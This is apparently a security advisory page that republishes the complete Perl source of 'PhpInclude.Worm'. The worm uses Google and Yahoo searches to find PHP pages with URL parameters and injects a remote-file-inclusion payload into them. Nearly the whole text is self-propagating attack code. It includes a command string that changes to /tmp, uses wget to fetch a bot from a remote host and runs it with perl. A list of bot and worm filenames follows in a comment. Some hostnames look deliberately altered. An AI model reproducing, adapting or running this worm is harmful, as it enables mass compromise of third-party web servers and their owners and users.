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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

The following exploit/worm (PhpInclude.Worm) attacks any CGI it can find using Google and Yahoo and tries to cause them to include an arbitrary PHP file that is then executed becoming the sibling of the worm.

Credit:
The information has been provided by Anonymous.

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Exploit:
#!/usr/bin/perl

use LWP::Simple;
use IO::Socket::INET;

while(1){
$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);

$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.googl3.com.br", PeerPort
-> 80, Proto => "tcp") or next;
print $sock "GET /s3arch?q=$procura&start=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}

for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cad3.s3arch.yahoo.com/s3arch?p=$procura&3i=UTF-8&fl=0&all=1
&pstart=1&b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);

$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;

if ($ubersite =~/"/)
{
$nu = index $ubersite, '"';
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a].'/'.$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = 'http://server/spy.gif?&cmd=cd /tmp;wget www.server.tld/spybot.txt; perl php.txt';
# Other filenames included with this and other variants :
# adfkgnnodfijg
# bot
# bot.txt
# bot.txt.1
# dry.scp
# ssh.a
# terrorbot.txt
# terrorbot.txt.1
# terrorworm.txt
# terrorworm.txt.1
# unbot.txt
# unbot.txt.1
# unbot.txt.2
# unbot.txt.3
# unworm.txt
# unworm.txt.1
# unworm.txt.2
# unworm.txt.3
# worm1.txt
# worm.txt
# worm.txt.1
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], '.';
$subproc = substr($ja[$t],$num1,$num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
}}
}
}

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